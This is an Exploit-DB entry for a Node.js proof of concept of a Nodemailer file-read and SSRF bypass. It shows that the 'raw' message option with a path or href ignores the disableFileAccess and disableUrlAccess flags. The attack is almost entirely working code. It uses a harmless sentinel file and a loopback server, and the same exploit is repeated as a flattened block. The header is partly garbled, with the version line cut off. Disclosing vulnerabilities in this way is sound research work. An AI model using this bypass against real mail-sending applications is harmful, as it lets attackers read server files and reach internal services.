In-app reader

[webapps] Nodemailer 9.0.0 - File Read/ SSRF

Exploit-DBAugust 18, 2026Sign in to save

research advisory

Exploit Database

__ Exploits

__ GHDB

__ Papers

__ Shellcodes

__ Search EDB

__ SearchSploit Manual

__ Submissions

__ Online Training

Stats

About Us

About Exploit-DB

Exploit-DB History

FAQ

Nodemailer 9.0.0 - File Read/ SSRF

EDB-ID:

52654

CVE:

N/A

EDB Verified:

_ _

Author:

Jorge González Milla

Type:

webapps

**Exploit: **

__ / __

Platform:

Multiple

Date:

2026-08-18

Vulnerable App:

# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/nodemailer/nodemailer 

# Software Link: https://www.npmjs.com/package/nodemailer 

# Version: nodemailer  }` (or `{ href:  }`) message

* is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root

* node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike

* every attachment/alternative node which is created with the flags.

*

* Benign marker: a sentinel file in the OS temp dir whose unique nonce we look

* for in the generated message. No network, no destructive action.

*/

const nodemailer = require('../../../nodemailer');

const fs = require('fs');

const os = require('os');

const path = require('path');

const http = require('http');



const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6);

const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml');

fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n');



function buildMessage(data, cb) {

    // streamTransport => fully local, returns the generated message as a stream.

    const transporter = nodemailer.createTransport({

        streamTransport: true,

        buffer: true,

        // The application's protective flags:

        disableFileAccess: true,

        disableUrlAccess: true

    });

    transporter.sendMail(data, (err, info) => {

        if (err) return cb(err);

        cb(null, info.message.toString());

    });

}



function run() {

    console.log('Nodemailer version:', require('../../../nodemailer/package.json').version);

    console.log('Sentinel file     :', sentinelPath);

    console.log('Nonce             :', NONCE);

    console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n');



    // --- CONTROL: a normal attachment with the same path MUST be rejected ---

    buildMessage(

        { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] },

        (err, msg) => {

            const controlBlocked = !!err && err.code === 'EFILEACCESS';

            console.log('[CONTROL] attachment path with disableFileAccess:');

            console.log('  => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message)));



            // --- ATTACK: message-level raw with the same path ---

            buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => {

                if (err2) {

                    console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message);

                    return finishUrl(controlBlocked, false);

                }

                const leaked = msg2.indexOf(NONCE) !== -1;

                console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:');

                console.log('  => ' + (leaked

                    ? 'BYPASSED — sentinel file CONTENT is present in the generated message'

                    : 'not leaked (sentinel nonce absent)'));

                if (leaked) {

                    const idx = msg2.indexOf(NONCE);

                    console.log('  excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...');

                }

                finishUrl(controlBlocked, leaked);

            });

        }

    );

}



// Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server.

function finishUrl(controlBlocked, fileLeaked) {

    const URLNONCE = NONCE + '-URL';

    const server = http.createServer((req, res) => {

        res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n');

    });

    server.listen(0, '127.0.0.1', () => {

        const port = server.address().port;

        const href = ' http://127.0.0.1 :' + port + '/sentinel';

        buildMessage({ raw: { href: href } }, (err, msg) => {

            let urlLeaked = false;

            if (err) {

                console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message);

            } else {

                urlLeaked = msg.indexOf(URLNONCE) !== -1;

                console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):');

                console.log('  => ' + (urlLeaked

                    ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)'

                    : 'not leaked'));

            }

            server.close();

            try { fs.unlinkSync(sentinelPath); } catch (_e) {}



            console.log('\n================ RESULT ================');

            console.log('control attachment blocked by flag : ' + controlBlocked);

            console.log('raw:{path} file-access bypass      : ' + fileLeaked);

            console.log('raw:{href} url-access  bypass      : ' + urlLeaked);

            const pass = controlBlocked && (fileLeaked || urlLeaked);

            console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED'));

            process.exit(pass ? 0 : 1);

        });

    });

}



run();

Tags:

Advisory/Source:

Link

Databases

Links

Sites

Solutions

Exploits

Search Exploit-DB

OffSec

Courses and Certifications

Google Hacking

Submit Entry

Kali Linux

Learn Subscriptions

Papers

SearchSploit Manual

VulnHub

OffSec Cyber Range

Shellcodes

Exploit Statistics

Proving Grounds

Penetration Testing Services

Databases

Exploits Google Hacking Papers Shellcodes

Links

Search Exploit-DB Submit Entry SearchSploit Manual Exploit Statistics

Sites

OffSec Kali Linux VulnHub

Solutions

Courses and Certifications Learn Subscriptions OffSec Cyber Range Proving Grounds Penetration Testing Services

Exploit Database by OffSec

Terms

Privacy

About Us

FAQ

About The Exploit Database

** ×

The Exploit Database is maintained by OffSec, an information security training company that provides various Information Security Certifications as well as high end penetration testing services. The Exploit Database is a non-profit project that is provided as a public service by OffSec.

The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Our aim is to serve the most comprehensive collection of exploits gathered through direct submissions, mailing lists, as well as other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away.

The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on the Internet. In most cases, this information was never meant to be made public but due to any number of factors this information was linked in a web document that was crawled by a search engine that subsequently followed that link and indexed the sensitive information.

The process known as “Google Hacking” was popularized in 2000 by Johnny Long, a professional hacker, who began cataloging these queries in a database known as the Google Hacking Database. His initial efforts were amplified by countless hours of community member effort, documented in the book Google Hacking For Penetration Testers and popularised by a barrage of media attention and Johnny’s talks on the subject such as this early talk recorded at DEFCON 13. Johnny coined the term “Googledork” to refer to “a foolish or inept person as revealed by Google“. This was meant to draw attention to the fact that this was not a “Google problem” but rather the result of an often unintentional misconfiguration on the part of a user or a program installed by the user. Over time, the term “dork” became shorthand for a search query that located sensitive information and “dorks” were included with may web application vulnerability releases to show examples of vulnerable web sites.

After nearly a decade of hard work by the community, Johnny turned the GHDB over to OffSec in November 2010, and it is now maintained as an extension of the Exploit Database. Today, the GHDB includes searches for other online search engines such as Bing, and other online repositories like GitHub, producing different, yet equally valuable results.

**Close

OffSec Resources

** ×

Databases

Links

Sites

Solutions

Exploits

Search Exploit-DB

OffSec

Courses and Certifications

Google Hacking

Submit Entry

Kali Linux

Learn Subscriptions

Papers

SearchSploit Manual

VulnHub

OffSec Cyber Range

Proving Grounds

Shellcodes

Exploit Statistics

Proving Grounds

Penetration Testing Services

**Close

Search The Exploit Database

** ×

Title

CVE

Type

dos

local

remote

shellcode

papers

webapps

hardware

Platform

AIX

ASP

BSD

BSD_PPC

BSD_x86

BSDi_x86

CGI

FreeBSD

FreeBSD_x86

FreeBSD_x86-64

Generator

Hardware

HP-UX

IRIX

JSP

Linux

Linux_MIPS

Linux_PPC

Linux_SPARC

Linux_x86

Linux_x86-64

MINIX

Multiple

NetBSD_x86

Novell

OpenBSD

OpenBSD_x86

OSX_PPC

OSX

PHP

Plan9

QNX

SCO

SCO_x86

Solaris

Solaris_SPARC

Solaris_x86

Tru64

ULTRIX

Unix

UnixWare

Windows_x86

Windows_x86-64

Windows

ARM

CFM

Netware

SuperH_SH4

Java

BeOS

Immunix

Palm_OS

AtheOS

iOS

Android

XML

Perl

Python

System_z

JSON

ASHX

Ruby

ASPX

macOS

Linux_CRISv32

eZine

Magazine

NodeJS

Alpha

Solaris_MIPS

Lua

watchOS

VxWorks

Python2

Python3

TypeScript

Author

Content

Port

102

105

110

111

113

119

123

135

139

143

161

162

164

383

389

402

406

411

443

444

445

446

502

504

513

514

515

532

548

554

555

617

623

631

655

689

783

787

808

873

888

901

998

1000

1040

1089

1099

1100

1114

1120

1194

1235

1471

1521

1533

1581

1589

1604

1617

1723

1743

1761

1812

1858

1861

1900

1947

2000

2022

2049

2100

2103

2121

2125

2181

2242

2315

2375

2380

2381

2401

2480

2525

2640

2810

2812

2947

2954

2990

3000

3030

3050

3052

3128

3129

3181

3200

3217

3306

3333

3378

3389

3460

3465

3500

3535

3632

3690

3790

3814

3817

4000

4002

4070

4081

4105

4111

4322

4343

4434

4444

4501

4555

4592

4661

4750

4848

5000

5060

5061

5080

5081

5093

5151

5180

5247

5250

5272

5308

5432

5466

5554

5555

5600

5655

5666

5800

5803

5814

5858

5900

5984

6066

6070

6080

6082

6101

6112

6129

6379

6502

6503

6660

6667

7001

7002

7070

7071

7080

7100

7144

7210

7272

7290

7426

7443

7510

7547

7649

7770

7777

7778

7787

7879

7902

8000

8001

8002

8004

8008

8020

8022

8023

8028

8030

8080

8081

8082

8088

8090

8181

8300

8400

8443

8445

8473

8500

8585

8619

8800

8812

8839

8880

8888

9000

9001

9002

9080

9090

9091

9100

9124

9200

9251

9256

9443

9447

9784

9788

9855

9876

9900

9987

9993

9999

10000

10001

10080

10202

10203

10443

10616

11000

11211

11460

12203

12221

12345

12397

12401

13327

13701

13722

13838

16992

18821

18881

19000

19810

19813

20000

20002

20010

20031

20111

20171

22003

23423

25672

26000

27015

27700

28015

30000

30303

31337

32400

32674

32764

34205

37215

37777

37848

38292

40007

41523

44334

46824

48080

49152

50000

50496

52311

52789

52869

52986

53413

54345

54890

55554

55555

56380

57772

58080

62514

Tag

WordPress Core

Metasploit Framework (MSF)

WordPress Plugin

SQL Injection (SQLi)

Cross-Site Scripting (XSS)

File Inclusion (LFI/RFI)

Cross-Site Request Forgery (CSRF)

Denial of Service (DoS)

Code Injection

Command Injection

Authentication Bypass / Credentials Bypass (AB/CB)

Client Side

Use After Free (UAF)

Out Of Bounds

Remote

Local

XML External Entity (XXE)

Integer Overflow

Server-Side Request Forgery (SSRF)

Race Condition

NULL Pointer Dereference

Malware

Buffer Overflow

Heap Overflow

Type Confusion

Object Injection

Bug Report

Console

Pwn2Own

Traversal

Deserialization

_ Verified

_ Has App

_ No Metasploit

**Search

Discussion

Comments

No comments yet — start the thread.

Keep reading

More on Bugflare

# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer }` (or `{ href: }`) message * is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root * node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike * every attachment/alternative node which is created with the flags. * * Benign marker: a sentinel file in the OS temp dir whose unique nonce we look * for in the generated message. No network, no destructive action. */ const nodemailer = require('../../../nodemailer'); const fs = require('fs'); const os = require('os'); const path = require('path'); const http = require('http'); const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6); const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml'); fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n'); function buildMessage(data, cb) { // streamTransport => fully local, returns the generated message as a stream. const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, // The application's protective flags: disableFileAccess: true, disableUrlAccess: true }); transporter.sendMail(data, (err, info) => { if (err) return cb(err); cb(null, info.message.toString()); }); } function run() { console.log('Nodemailer version:', require('../../../nodemailer/package.json').version); console.log('Sentinel file :', sentinelPath); console.log('Nonce :', NONCE); console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n'); // --- CONTROL: a normal attachment with the same path MUST be rejected --- buildMessage( { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] }, (err, msg) => { const controlBlocked = !!err && err.code === 'EFILEACCESS'; console.log('[CONTROL] attachment path with disableFileAccess:'); console.log(' => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message))); // --- ATTACK: message-level raw with the same path --- buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => { if (err2) { console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message); return finishUrl(controlBlocked, false); } const leaked = msg2.indexOf(NONCE) !== -1; console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:'); console.log(' => ' + (leaked ? 'BYPASSED — sentinel file CONTENT is present in the generated message' : 'not leaked (sentinel nonce absent)')); if (leaked) { const idx = msg2.indexOf(NONCE); console.log(' excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...'); } finishUrl(controlBlocked, leaked); }); } ); } // Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server. function finishUrl(controlBlocked, fileLeaked) { const URLNONCE = NONCE + '-URL'; const server = http.createServer((req, res) => { res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n'); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; const href = ' http://127.0.0.1 :' + port + '/sentinel'; buildMessage({ raw: { href: href } }, (err, msg) => { let urlLeaked = false; if (err) { console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message); } else { urlLeaked = msg.indexOf(URLNONCE) !== -1; console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):'); console.log(' => ' + (urlLeaked ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)' : 'not leaked')); } server.close(); try { fs.unlinkSync(sentinelPath); } catch (_e) {} console.log('\n================ RESULT ================'); console.log('control attachment blocked by flag : ' + controlBlocked); console.log('raw:{path} file-access bypass : ' + fileLeaked); console.log('raw:{href} url-access bypass : ' + urlLeaked); const pass = controlBlocked && (fileLeaked || urlLeaked); console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED')); process.exit(pass ? 0 : 1); }); }); } run();